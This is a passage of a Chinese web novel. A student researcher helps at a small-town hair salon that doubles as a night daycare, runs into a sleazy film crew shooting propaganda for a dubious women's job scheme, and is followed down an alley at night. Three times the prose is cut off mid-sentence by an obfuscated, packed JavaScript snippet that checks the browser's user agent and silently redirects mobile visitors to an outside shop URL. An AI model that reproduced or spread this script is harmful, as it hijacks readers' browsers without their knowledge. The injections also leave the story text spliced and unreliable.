女人嗷地叫了声,低头去看,黎叙闻这才看见,有个两三岁的小孩抱着她的腿,从她身后怯怯地看着自己。 女人一抖腿,把孩子领到身前:“看啥?影姐都不认识了?” 黎叙闻奇道:“宝宝也叫她姐啊?” 女人娇笑:“我们这八十岁老太都叫影姐,你要不要跟我去面试?我们那正缺人呢。” 黎叙闻解释还没出口,影姐对着女人的后脑又是一巴掌:“说了是大学生大学生!你是猪么还是狗听不懂人话?” 小孩哇一声吓哭了,女人边哄孩子边讪讪的:“知道了知道了,金贵得很……”她附上影姐的耳朵:“影姐,城里那个公司,啥时候还来选人?” 影姐还没答话,珍妮先嗷嗷叫起来:“选人也是我先去!你排队!” 书影眼皮一撩,对瑶瑶道:“你就别惦记了,好好带小毛毛,去了就见不着娃娃了。” 瑶瑶欲言又止,最后把孩子往前一推:“那我明早来接哈。” 书影头也不回一挥手,算是应了。 夜渐渐深了,又陆续有人送孩子过来,男的女的都有,听说话的内容,不是附近工地赶工的,就是酒吧网吧上夜班的。 书影和珍妮搬出泡沫垫、各种木头玩具和识字卡片,本就逼仄的理发店完全变成了个幼儿园。 孩子们笑闹着跑来跑去,一会儿撞翻推车,一会儿拉出抽屉,动静堪比下班后的菜市场,黎叙闻头都大了,举着双手,在一群孩子中间无所适从。 “过来帮忙,”书影满是皱褶的脸上面无表情:“等我请你?” 黎叙闻木着一张脸:“我不做研究了,回去退学行了吧?” “不行,”书影无情驳回:“退学也得干完今天再退!” 这一晚上黎叙闻在一群熊孩子中间疲于奔命,简直比跑现场赶稿子累一万倍。 但也不算全无收获。 珍妮带娃竟然是一把好手,满地乱跑的孩子们在她的制裁下乖得不得了,她坐在硬得硌人的绿色沙发上,手里抱着个奶娃娃,一边哄,一边跟黎叙闻讲澄巷的事。 “也没啥,就我们这能赚钱的地方少,好多人上夜班,没时间带娃,就都送这儿来,”她啐了口:“一帮穷X,一晚上二十块都还要欠……也就那个老货,傻X一样,每次还爱信他们打的条子。” 黎叙闻抬手对着她后脑勺就是一下子。 “你有病啊!”珍妮抱着脑袋:“打人上瘾了?” “再让我听到你不好好叫人,扇的就不是后脑勺了。”她拧着眉:“所以这些开销,都是影姐在付?” 珍妮一边揉自己脑袋一边翻白眼:“是呗,大部分是。” “那你呢?”黎叙闻又问:“你又是哪儿来的?” 珍妮“哈”地笑了声:“他们把我卖给杀猪的,我就跑呗,跑到这来,想看有啥活计,看这有个发廊,我还以为是那种地方,想着也行,先别饿死再说。” “结果?” “结果被那老货把身份证扣下了!”珍妮恶狠狠地说:“她以为我就是为了卖身才来的!” 黎叙闻整理识字卡片的动作蓦地一顿。 这个剧情……似曾相识。 在淑英的故事里,她再次坠入深渊,就是因为被人扣下了证件并限制了人身自由,才不得不留在那家米粉店,就此做起了这一行。 二十年后,她故技重施,为的却是保护。 黎叙闻抬眼往发廊另一头看过去——那里摆着一个旧式缝纫机,上半部分机身翻倒,扣在膛里,正好当书桌用。 书影就坐在那之后,借着一个夹式小台灯的光,戴着花镜,一笔一划用铅笔头在本子上写着什么。 一间巴掌大点的理发店,柳北地方小,赚的钱连自己都不一定吃得饱。 但也就是这间巴掌大点的理发店,是很多人得以依靠的港湾。 从淑英到书影,不知道她走过了多少路。 “啧,这个破理发店……太无聊了。”珍妮抱着孩子往沙发靠背上一仰,稀疏的眉毛皱成一团:“也没钱,就能混个饱,烦人!” 她用脚去碰黎叙闻:“哎,你明天还来吗?” 黎叙闻撩下眼皮嗯一了声:“你不是要去城里打工吗?到底什么工,怎么瑶瑶也想去?” 说到这个,珍妮可就精神了:“一个好心人开的公司,说是客户都是有钱人,有时候会来我们这招人,去跟他们赚大钱!影姐可是答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990332|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应我了,下次就让我去。” “哦,所以你看那些书……” “嘘!”珍妮急急地抬头看了一眼书影:“人家只要情商高、嘴甜的,我这不,补一补嘛……” 黎叙闻越听越疑心。 还要情商高的……销售?公关?总不会是秘书吧? 她啧了声,问:“到底干什么的,赚大钱这么容易?” “谁知道了,”珍妮看着一点没谱:“管它是什么,我们这种人,有钱赚还那么多问题?” 黎叙闻比她高了有半个头,此时自上而下垂眼看着她无所谓的神情,耳朵里灌满了她哼哼的不成调的歌,却有一线细细的违和,不合时宜地升起。 书影和珍妮住在理发店的阁楼,空下来的房子就给租黎叙闻。 虽然她“饭都吃不起了”,也不耽误书影以两倍于市价的天价收房租。 接下来一个星期,黎叙闻都在宿舍和发廊之间奔忙,又是帮干活又是帮带孩子,竟也慢慢适应了这里的生活。 影姐使唤起她来可不客气,几天下来,她都要学会烫泡面头了,可访谈还是连影子都没有。 更别说还有珍妮那个坏小孩,在一旁幸灾乐祸。 受了几天鸟气,黎叙闻终于忍无可忍,把珍妮拉到一边,咬着牙似笑非笑:“你再阴阳一次,我就跟书影讲你整天看那种书,还打算勾引高富帅。” 珍妮瞪圆眼睛:“你们文化人也这么不要脸吗?” 黎叙闻干笑一声:“巴结我,快点。” 珍妮小心地环视一下四周,见书影没注意,悄悄道:“你想知道什么?” “影姐……有孩子吗?” “啊?”珍妮愣了愣,回忆了好一阵子,才道:“没有吧,没听她提过啊。” 没有?怎么会呢? 如果当初不是有了孩子,书影根本不会…… 珍妮无知无觉,又兴奋道:“哎,不说这个,你知道不,我们明天要上电视了!” 黎叙闻一愣,简直疑心自己听错了:“上电视?你认真的?” 第二天她就会知道,珍妮没有胡说八道。 前一天当保姆熬得太晚,黎叙闻在出租屋对付了几个小时,不到午饭点又出发去发廊。 结果远远就看见紧窄的巷子里挤着很多人,扛着摄影机举着补光板,地上无数设备线盘绕,越靠近越是人声鼎沸,不乏隔壁街坊凑过来看热闹的。 有人举着一叠台本站在门口,拿着对讲机:“灯光?灯光老师来一下!” 黎叙闻费力地穿过人群,想这还不是一般的新闻采访,这是个小型的剧组啊。 是像她跟齐寻初遇的那个仓库一样,借出去给人拍电影的吗? 一想起那个名字,她的身体先于理智,在人潮中悄悄地疼了一下。 澄巷原本就窄,这么多人堵在里面,像羊肠里塞满了大米,连转个身都困难。 正好能容纳她这些不太雀跃的心思。 黎叙闻垂着眼挤进玻璃门,绕开地上线盘的龙门阵,准备也看看热闹。 这时,她听见珍妮的声音在不远处响起来:“没骗你吧?上电视了!” 黎叙闻不耐地抬头望去,人头攒动间没看见珍妮,却看到了一个身高优越的人影。 她一瞬间竟被跃入眼帘的人惊在当场。 “齐寻?” 57. 第 57 章 齐寻戴着耳机背对着她,正跟一个年轻小伙子说话,闻言转过身来,浅淡地望了她一眼,又扭头继续跟人交代任务去了。 反倒是他身前的话筒员小伙子,顺着他的视线遥遥一望,跟黎叙闻对视一眼,先脸红了。 “哎,你认识那大帅哥?”珍妮拨开层层人群,挤到她身边:“是你男人?” 黎叙闻视线停留在他微微紧绷的后背,语气凉飕飕的:“……不是。” 珍妮捋了一把自己的短发,低声问:“你说,这样的帅哥也寂寞吗?” 黎叙闻忽然提高声音:“你胡说八道什么?” 惊扰了架设好的收音设备,她的声音炸响在现场每一个反听里,齐寻抬手拉开耳机,痛苦地皱了下眉。 他摘下耳机,语气平淡对她道:“我们在调试设备,无关人等请先出去。” 黎叙闻几乎气笑了:“谁是无关人等?” 齐寻抬了抬眉头,面无表情地看着她。 黎叙闻从他眼神里读懂了他的意思:不是你难道是我? 书影从楼上下来,画着淡妆,穿着一件宽松的藕荷色短袖旗袍:“她是学生,我请来帮忙的。” 周围有立刻许多视线朝黎叙闻射过来,有好奇的、黏糊的,甚至猥琐的,在本就密不透风的人群中将她围了个严实。 她倒不怕人看,对着齐寻一哂,转身留给他一个后脑勺。 剧组工作嘈杂,黎叙闻和珍妮被挤到最角落,珍妮兴奋得不行,在她耳边叽叽喳喳,说的话毫无逻辑颠三倒四,她听了老半天,才明白剧组是来干什么的。 柳北县虽然经济不好,但真正出过一个成功的企业家。 提起蔡道全的名字,这里人人都觉得与有荣焉——他从商三十余年,产业涉及娱乐、艺术展览、文化推广等多个领域,近年来更是热心公益慈善,致力于培养底层女性的职业技能,惠及柳北及周边城镇,让这些女性真正实现自力更生。 他名声在外,投资出手大方,吸引了不少公司前来合作,为无数底层女性提供了工作岗位的“她计划”就是其中之一。 基于这层关系,“她计划”这几年的人员吸纳,都以柳北及附近城镇为先了。 今天要拍的东西,就是给她计划宣传的一部伪纪录片,想借用书影“发廊中的女诗人”的身份,来给大家做一个榜样。 珍妮越说越激动:“你说有钱人咋有这么好心的?我要是自己吃饱了,高低不会管别人死活!” 黎叙闻却不以为然。 因为这听起来,跟珍妮口中的那个“好工作”,差了有十万八千里。 更别说珍妮看的那些盗版书了。 她若有所思地哦了声,盯着远处沟通流程的书影和导演看。 导演是个中年男人,递给书影台本的时候,手背跟她的短暂相碰,他交代了几句,背过身去,拿了块湿巾,把那块皮肤擦了又擦。 天气本来就热,逼仄的空间一下子挤了这么多人,让本就充满水汽的空气更加稀薄。黎叙闻坐了一会儿,后颈的汗就不停地淌,衣服也潮乎乎地贴在身上。 这时候有人喊:“齐老师请大家吃雪糕!” 众人笑着在蒸笼似的发廊里鼓起掌来,齐寻抱了三箱雪糕进来放在门口,有工作人员上前,给房间里每个人手里都塞了一支。 除了她们三个。 书影、珍妮和黎叙闻,这三个女人像是忽然隐形了,谁都看不见她们汗流浃背地站在原地,没有雪糕吃。 黎叙闻无所谓,准备自己过去拿,被珍妮拉住,小声道:“人家买给自己人吃的,咱们……” 黎叙闻冷笑:“怎么,吃他们根雪糕是给他们脸了。” 说话间,齐寻拿了一把雪糕,先递给书影一支,然后向着她们走过来。 黎叙闻眼皮一跳,立刻扭开脸看别处,骤然爬升的心跳却掩不住地慌。 齐寻给了珍妮一根牛奶的一根巧克力的,看了看黎叙闻,慢半拍递上一根抹茶的。 黎叙闻漫不经心地收回眼神,看着他骨节分明的手递来的冒着凉气的雪糕,还没吃到嘴里,心里的火气就先被浇灭了大半。 她接过来:“无关人等不用录音老师关心了。” 齐寻没跟她呛,看了她两秒,道:“别贪凉。” 黎叙闻半低着头看手里的雪糕,好像配料表忽然有了无与伦比的魅力。 齐寻抱着胳膊靠在门边,视线停在她的眼睫,脸上没有什么波澜。 于是他们谁都没有看见旁边珍妮拿着两根雪糕,一脸怔愣和发红的脸颊。 也没有看见远处书影看过来的目光,和阴沉的脸。 休息了一阵子,导演的声音在门口响起:“来大家准备一下……” “等等,”书影忽然打断:“我有个要求。” 在场人员各忙各的,没人因为她的话停下来。 书影提高了声音,指着齐寻:“让他出去!不然都别拍了!” 此言一出,周围终于安静了。 导演轻轻一哂:“您要干嘛呢?” “这是我的店,”书影重复:“我有权把任何人赶出去。” 周围人全笑了。 人群里不知是谁,大笑道:“大妈,你知道这位老师是谁吗?人家爱来你这个破地方?” 黎叙闻不明所以,只能远远看着,心说影姐怎么搞的,怎么说翻脸就翻脸,齐寻怎么惹她了? “可以,没事,”齐寻抬了抬手:“现场录音小孙能搞定。” 叫小孙的话筒员瞬间欲哭无泪:“啊?我、我一个人吗?” “跟你学生作业没什么区别,”齐寻塞给他一把五号电池:“注意电量,我就在车上坐着,有事就叫。” 说罢他目不斜视,抬脚就出了房间。 留黎叙闻一个人在原地,眼睛一眨不眨,一直望着门口停着的那辆面包车。 望到的却只有她自己的欲盖弥彰的脸。 ……又不是什么违法活动!车贴什么防窥膜啊! 拍摄还算顺利,齐寻一边盯着耳机里现场的动静,一边在电脑上听书影之前录的诗朗诵干音。 中气十足、字正腔圆,不用底稿他也听得一清二楚,比现在很多演员的口条都清楚得多。 他顺了一遍,记下时间码,想找个合适的效果素材,一回头,却见黎叙闻隔着两道玻璃,紧绷着脸,一瞬不瞬盯着他瞧。 齐寻手指本能地握紧了一刹,紧接着反应过来,这车有防窥膜,外面看不见里面。 那她这是在看什么? 是在……担心吗? 他哼笑了声,打消了念头。 拍摄告一段落,现场重新嘈杂起来,乌泱泱的人声像潮水一样从耳机里涌向他的耳朵,齐寻喝了口水,往后一靠,开始聚精会神的八卦时间。 这大概是录音师为数不多的福利——很多演员的麦都用三角包贴在衣领内侧,休息时会忘记身上有麦,跟身边人蛐蛐什么的都有。 有好几次演员都骂到导演全家了,要不是他盯着关导演的反听,搞不好血溅当场。 书影那条音轨发出一阵衣料的摩擦声和脚步声,然后他听见书影略哑的声音:“你去菜场,买晚上的菜。” “这么热就不能晚上再去!”是刚那个小姑娘:“晚上挑剩的还便宜呢!” “叫你去就去!” 一阵轻捷的脚步声远去了,书影停了一阵,声音低了两个档,问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997819|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚那个帅哥,叫我撵出去那个,是你男人?” 齐寻眼疾手快切了全组的反听,手指扶在开关上,轻轻一蜷,还是打开了自己的频道。 “……人还可以。” 还是书影的声音。 显然刚刚那一秒的犹豫,黎叙闻已经回答了那个问题。 齐寻啧一声,烦躁地抓了把头发。 紧接着黎叙闻就对书影发难,语气冷淡,尾音上挑,那是他再熟悉不过的挑衅的语气:“可不是,您专治人不错,张嘴就把人赶出去。” 她甚至冷笑了一声:“他在业内有名望的你知不知道?你这样对他,传出去他还怎么接活儿?” 齐寻眼都不眨地盯着高低不一的波形,好像其他所有声音都成了这句话的背景,跟它一比,甚至没有被听见的必要。 ……原以为她不留情面反复拒绝,是不想跟他有半点关系。 现在看来,闻闻对他,至少还剩下些仗义执言的义气。 他无声地弯了唇角。 也够了。 车窗忽然一暗,小孙在外面敲玻璃,手里举着一张室内平面图:“齐老师,下一场你看看哪里的收音效果好?” 书影并不知道已经被他听了去,这时候坐在黎叙闻身边,周围人来来往往,都把她们当做道具背景。 旗袍很合身,只是在她身上,像是刚刚才借来的一件躯壳一样,身体小心翼翼地挤在里面,像一个预制罐头。 她压低了声音,道:“就是因为他人不错,我才不能让他在这里呆。” 黎叙闻斜睨她,其实心里早掂起了记录仪:“别告诉我是为他好。” “不是。” 她脊背僵直,带着茧子的手放在膝盖上,绸缎旗袍发出极轻的一声刮磨声,她立刻把手拿开,放到沙发上:“是珍妮。” “那丫头在家不受待见,后来又被家里卖了,费劲巴拉逃出来,说是想做那一行,其实就是想养活自己。你想想,她这样的女娃,从小哪有男的跟她好好说过话?” 书影语速变得很快,像在替谁难为情:“你也看见了,我堂堂正正,但谁都觉得我们这不是正经地方,也没人稀罕看我们,但他不一样。” 书影低着头,看着手里的雪糕包装。 “她来这儿这么长时间,谁也没给她买过一根雪糕吃……他今天给珍妮一根雪糕,明天呢?他能把她带出这个地方吗?他只会让珍妮发白日梦,梦醒了,现实只会让她更难受。“ 剧组有人点起烟,空气里弥漫着呛人的烟味,大灯杵在旁边的楼梯口,几乎把本就潮热的空气蒸腾出水汽。 黎叙闻隔着青紫色的缭绕烟雾,失神地望着她略微有些躲闪的脸。 她这一身借来的躯壳,似乎让她有了一种短暂抽离和剖白的勇气。 珍妮的爸爸、家里的男性亲戚、她的“买家”,或许从来没有正眼瞧过她一眼。 齐寻呢,长得好、地位高,那个看不上她的导演都对他毕恭毕敬的,一看就是大城市的精英。 他们之间是云泥之别。 书影把珍妮支开、不留情面地把齐寻赶走,是为了不让珍妮有不切实际的幻想。 有无边酸楚从黎叙闻心底源源不断涌出来,淹得她连一句体面的安慰都说不出。 这些事如果不是书影亲口说给她听,她无论如何也无法想象,会有妙龄少女因为两根雪糕,就觉得自己被珍视了。 如果今天不是齐寻,是其他什么别有用心的人,珍妮现在是不是已经蠢蠢欲动,要跟对方私奔了? 那只是两根雪糕而已。 “你跟他解释下道个歉吧,我不去跟他说话了。”书影小心起身,用手背按住下摆:“免得坏了他名声。” 58. 第 58 章 下一场要拍书影工作时的画面——剧组安排了几个年轻女孩子,充当这段情节里的“顾客”,还原书影繁忙的工作以及她见缝插针对诗歌的热爱。 工作人员进来调试摄影机和灯光,书影跟一个女演员对词。黎叙闻靠在门口看了一阵,就觉得不对了。 对面的女演员穿着一套LOGO明显的套装,不,不只是套装,而是她浑身上下的衣服鞋子配饰,没有一件是不带LOGO的。 脸就更典型,黎叙闻怀疑那不是整容整出来的,而是从某条流水线上直接拓印下来的。 只是拓印的水平一般,所以大欧式双眼皮划到了眉骨,眼角开到了山根边上,有点像海绵宝宝。 高耸的苹果肌也像,丰厚的嘴唇也像。 她看了很想笑,但她发现,书影盯着这女演员看了很长时间。 目光中不乏艳羡。 黎叙闻安静地听她们对词,发现这一场拍的是一个衣锦还乡的女孩故地重游,到这家理发店来洗头,顺便看看书影新写的诗歌,台词里不乏“投资”“流程”“几千万流水”这种根本不该在柳北出现的词。 很怪,如果主角是书影,那珍妮都可以演这个顾客,有什么必要设定这么悬浮的人设、这么复杂的背景? 如果这女孩才是主角……可这伪纪录片不是拍书影的吗? 她趁无人注意挤到书影身边,问:“你平常服务的都是这种顾客?” 书影看她一眼,示意演员继续。 她捏住书影的手腕:“影姐” 女演员不耐道:“这位小姐,这都是导演安排的,有问题请去问导演,不要影响我们的进度可以吗?” 黎叙闻拧着眉头,拨开忙乱的人群,真的挤去导演身边。 “侯导你好,咱们给顾客设计这个妆造,请问有什么用意吗?”黎叙闻在一片嘈杂人声里微笑着问:“看起来蛮特别的。” 导演和身边正沟通分镜的摄影面面相觑,同时大笑。 “什么用意你不清楚,”导演眯着眼睛:“你没穿过?” 摄影一边笑一边往嘴里扔花生:“换张皮真以为自己是大学生了。” 黎叙闻面色平静:“我不明白,能说清楚些吗?” “怎么,”导演抬高下巴,用眼角睨她:“你想学电影啊?” 摄影闻言噗地一声险些把花生喷出来,大笑:“侯导您别折人寿了。” 导演的视线把黎叙闻从头扫到脚,靠头过来狎昵道:“你要想学,晚上收工我教教你?” 他甚至伸手,拇指隔着薄薄的T恤在她的肩头上小幅度地摩挲:“什么价?你这张脸,在这种地方屈才了,跟我当演员吧?” 黎叙闻冷着脸,一言不发地盯着他看。 这个瞬间对一个记者来说,称得上珍贵,因为她现在面对的,正是她的采访对象每一天都会面对的;她受到的羞辱,对这里所有人来说,都是家常便饭。 “侯导,”一个熟悉的声音蓦地在门外响起:“有什么问题?” 黎叙闻扭头去看,见齐寻抱臂靠在开裂的门框上,面色沉郁地盯着导演和摄影。 他沉着脸不说话时压迫感十足,下颌线锋利地紧绷着,此刻更是没有丝毫遮掩的意思:“我老婆怎么了?” 导演和摄像同时愣住,困惑地对视一眼,疑心自己听错:“啊?齐老师,你说谁?” 齐寻伸手把黎叙闻拽到身边,手臂搭在她肩头,正好落在刚刚被摩挲过的位置:“她来做学术调研,麻烦侯导,放尊重点。” 这下子导演笑不出来了。 他就是个名不见经传四处接野活儿的人,做梦都想有个好项目拍,但对他这个档次的导演来说,好项目就跟鬼一样,听过没见过。 这次的活儿不过是个小玩意,一周之内就能搞定,没想到业内有名的录音师突然通过他恩师联系他,说愿意进组当声音指导,价格开得也低,他还以为自己时来运转了——有这种高度的专业人士当跳板,不愁联系不到更好的机会。 结果开拍第一天,话还没说两句,先把人家老婆得罪了。 他恨不得穿回两分钟前,把即将出言不逊的自己扇死。 但人在底层就这点好,既能毫无负担地欺负比自己更底层的人,如果欺负错了人,也能毫无负担地把脸扔在地上用脚踩,没在怕的。 于是他腆着脸赔笑:“哦,嫂夫人,哈哈冒犯了冒犯了,我就说这长相,这气质,怎么看也不像这儿的哈。” “这儿怎么了?”黎叙闻问。 “哎呀穷乡僻壤嘛,”摄影帮腔:“长相气质都比较淳朴,没有嫂子这样腹有诗书气自华的。” 黎叙闻看着他们即将奔四的脸,笑了一声。 还嫂夫人…… 齐寻偏头对她低声道:“去车上。” 黎叙闻抬头与他对视一眼,把他的手从肩上摘下来牵在手里,转身向车上走去。 实际上在他们转过身的第一秒,黎叙闻就放开了他的手。 齐寻垂眼盯着她的发顶,在她身后无声地上了车,却没关车门。 两人面对面坐在面包车狭窄的后座,膝盖相对,来来往往的工作人员间或往里扫一眼,见两人只是对坐着谈话,便不好奇了。 齐寻没说话,探身从前排拿了一张纸递给她,黎叙闻定睛一看,是下一场戏的剧本飞页。 那上面明明白白地写这个顾客“外围女,二十五岁上下,网红脸,通过‘她计划’飞黄腾达,渴望真爱的独立精英“。 黎叙闻皱着眉:“……这什么东西?这跟惠及底层女性有半毛钱关系吗?书影也知道这设定?” “伪纪录片看上去随意,其实比一般的影视剧还要严格——因为要拍出纪录片的真实感。”齐寻说:“所以开拍之前,她一定看过剧本。” 黎叙闻盯着飞页若有所思:“可是为什么?” 齐寻始终没有挪开锁在她眼睫上的视线,慢慢说:“昨天闲聊,有人说以为这是个小打小闹的东西,没想到给钱很大方。” 黎叙闻想起发廊里那些奶粉和玩具:“……肯定是因为这个了。” “所以你呢,也是因为这个才来的?还是说,”她注视着齐寻,膝盖无意似地稍稍一动,顶住了他的:“你是跟着我来的?” 齐寻大腿肌肉跟着紧绷了一瞬,好像被抵住的不是他的膝盖,是他的喉管。 他声音却未起波澜:“这种项目都要提前很久筹措,”他不动声色错开腿:“别多想。” “哦。”黎叙闻向后靠去,笑笑地:“那真是巧。” 车门大开着,天光正好,她正迎着光线汹涌奔来的方向,一双眼睛在光里映得清浅澄透。 她以为她藏在笑意底下的失落毫不明显。 “书影让我跟你说一声,她不是故意得罪你。”黎叙闻扭开脸,皮肤上细小的绒毛在阳光下细细发亮:“然后就是,你离那个小姑娘远一点。” “为什么?”他问。 黎叙闻不愿直接告诉他珍妮的心思。 一个十来岁的小姑娘,最是看重脸面,她不希望因为自己的多嘴,伤害她的自尊。 见她良久不答,齐寻停了停,又问:“你不喜欢?” 黎叙闻脸上依然笑着:“跟我有什么关系?” 齐寻垂下视线,嗯了一声。 两人就此沉默,车里的空调和外面的暑气在半空兀自较劲,简直要在这窄小的面包车后座下起一场小小的降雨。 谁都知道不该留,可谁都不想走。 耳机里忽然传来一声气壮山河的“安静!”,是里面又开拍了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002281|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后齐寻终于说:“我要盯场了。” “哦,”黎叙闻站起来,视线还盯着他身侧座椅上的细小裂缝:“你忙。” “闻闻,”齐寻忽然又叫她:“你没什么要说的了么?” “没有。”她仍不抬头。 她听见齐寻很小声地叹了口气:“……我看到附近有黄毛在探头探脑,你一个人小心些。” …… 黎叙闻最后几乎是逃下车的。 她没办法抬头看齐寻的眼睛,她知道她会看到什么样的眼神——冷淡、退却,还有很多很多的孤独。 他似乎总是这样孤独。 可是她还没来得及探究这些孤独的源头,他们的路就已经到了尽头。 这一下午,黎叙闻站在一群散发着热气的肉.体中间,鼻腔里充斥着窒闷又刺鼻的人肉味,想,这挺好的,人跟人之间就该这么顺其自然,他往他的道路去,她也走向她选的未来,这不就是她所求的么。 这很好,一切都很好,她本来就该一个人走。 黎叙闻发呆时,总喜欢盯住远处某个点,而今天这个长得像海绵宝宝的点,在原地站了一会儿,竟然动了起来。 她定睛一瞧,发现竟然是上午那一场中的女顾客,黎叙闻还跟人家争执过两句。 那女孩穿着跟上午一样的衣服,在窄巷的对面走着,身边跟着一个手持简易DV的男人,两个人就这样慢慢走出了她的视线。 这是……在做什么? 不等她想明白,屋里忽然传来导演一声怒吼:“说了开始!你动什么呢?!” 黎叙闻顺着他的目光看过去,他谩骂的对象,竟然是书影。 而书影理亏地低下头,却忍不住似地,又扭头去看墙上的挂钟。 黎叙闻开始以为她在担心珍妮,可不一会儿珍妮玩够了,拎着菜回来,她还是不停地看表,频率越来越快,好像有什么事情,就要来不及了。 黎叙闻思索片刻,忽然灵光一现——她是在害怕一会儿有人送孩子过来。 尤其是瑶瑶。 这剧组的态度她们有目共睹,穿着促销短裙的瑶瑶如果带着孩子出现,不知道又会被误解成什么样。 趁还没开拍,黎叙闻凑过去,轻声在她耳边道:“我去拦他们。” 书影抬起头,飞快地看了她一眼,始终不近人情的脸上有一丝感激一闪而过。 她小声说:“就瑶瑶没回消息,你去隔壁巷口,去蹲她。” 黎叙闻匆匆淌过人群,轻轻侧过脸向后看了一眼,趁无人注意,加快脚步跑到巷口,一转身,便没入了旁边隐在暗处的小路。 路灯消极怠工,有气无力地亮着,越往里走,身后步行街的吵嚷声就被抛得越远,朦朦胧胧,衬得入夜后的小路更加寂静。 ……于是缀在她身后的脚步声,便没有了隐匿的背景。 一开始她以为是同路的,可中间她故意放慢了步子,那脚步声也跟着慢下来,她加快,那声音也疾步跟上。 ——这人是冲她来的。 意识到这个的一瞬间,黎叙闻心率陡然暴涨。 心跳声擂鼓似地响在耳边,几乎要盖过那鞋底摩擦在土路上、砂砾被踩踏的声音。 那人心情颇佳,甚至有闲心吹起了不成调的小曲。 好像在下一盏坏掉的路灯下,他就会一下子扑上来,把他的猎物按在身下。 这条小路忽然被无限拉长。 黎叙闻路不熟,再往前走,会遇到什么她并不知道,可如果现在回头,那就是自投罗网。 ……谁知道那人手上,有没有握着刀? 眼看到了巷口拐弯处,她无声地吞咽一次,忽然开始拔足狂奔。 不管前面有什么,她都绝不能在这里任人宰割! 59. 第 59 章 巷口这时候转过一个人影,跟她迎面碰上,她顾不得许多,直接扑上去,撞得那人“哎哟”一声。 黎叙闻定睛一看,竟是牵着孩子的瑶瑶。 “你在这做啥?”瑶瑶扶住她:“咋啦?” 黎叙闻拼命给她使眼色,瑶瑶越过她的肩头往后看,喊了一声:“谁?” 身后响起一阵怪异的沙地摩擦的声音,非常凌乱,紧接着是一声钝响,还有本地口音的叫骂,折腾了一阵,安静下来了。 黎叙闻这才壮起胆子,扭头向后望去。 只见齐寻从某个转角处走出来,站在路灯底下,披了一身昏黄,淡声道:“来买烟,迷路了。” 说着不动声色地把刚刚擦伤的右手藏在身后。 黎叙闻哭笑不得,脚下一软,险些给他跪了。 “有人跟着你们,”齐寻道:“一个黄毛。” 他看了眼黎叙闻,丢下一句“小心些”,转身就要走。 “等一下!”可能刚刚吓着了,黎叙闻嘴比脑子快:“那个,要不,一起走?” 瑶瑶瞪大眼睛,拉她一把低声问:“这人你认识啊?” “嗯,”黎叙闻点点头。 “一个……朋友。” 三个人并排走在满地石沙的小路上,身后灯光拉长了影子投在他们脚下,像中间隔了一个八度的钢琴黑键。 瑶瑶忽然问:“妹子,你真不试试去跟我卖酒啊?很简单的。” 黎叙闻第一反应,先扭头去看齐寻。 这人一言不发,饶有兴致地盯着她瞧。 黎叙闻干笑了声:“不用了。” 地上隔着十万八千里的那个长长的影子颤动了一下,像是憋不住笑了。 瑶瑶压低声音:“这人,是不是在追你?” 黎叙闻眉毛一扬,却没否认:“怎么看出来的?” “这还用问,刚刚你吓够呛,他咋不叫你?”瑶瑶一副过来人的样子,轻嗤一声:“就想偷偷保护你呗,毛头小子。” 黎叙闻低头看自己踩着尘土的脚尖,唇角漾起一个清浅的弧度,没敢回头看齐寻。 “不过我告诉你,男的没什么好鸟。”瑶瑶瞥了齐寻一眼:“长的嘛人模狗样的,说不定也是个吃软饭的软蛋。” 齐寻撩起眼皮冷瞥她一眼,瑶瑶立刻吓得噤声。 “怎么这么说?”黎叙闻顺势问她。 瑶瑶笑了:“男的嘛,有点姿色就懒得闯了,总想着靠脸让女人来养。”她凑近了,在黎叙闻耳边轻声道:“以后赚的钱别都给他,你自己要留大头,别恋爱脑,听见没有?” 又扭头问齐寻:“哎,你做啥的?” 齐寻揣着兜:“路边贴膜的。” 瑶瑶撇嘴:“你这皮相,谁信呢?”她像给闻闻把关似的,又问:“你该不会……是来拉皮条的吧?我报警抓你哦给你说。” 黎叙闻哑然失笑,赶紧解救他:“今天影姐忙着,孩子给我吧,等那边闲了我给他领回去。” 被妈妈牵着的小毛毛特别乖巧,大人说什么都眨巴着眼睛听,黎叙闻怀疑他肯定听去了些乱七八糟的东西。 瑶瑶也放心,把孩子交给她就匆匆离开,走之前还给黎叙闻使眼色,让她别恋爱脑,把钱看好。 黎叙闻哭笑不得地挥别她。 她蹲下,点点毛毛的小鼻头,问他:“想吃什么,姐姐买给你。” 小毛毛扑闪着大眼睛看了她半天,小嘴一张:“阿姨。” 黎叙闻:“……” 黎叙闻:“叫这个不对哦,再想想,应该叫什么?” 小毛毛油盐不进:“阿姨。” “那他呢?”黎叙闻很不服,指指齐寻问:“他叫什么?” “哥哥。” 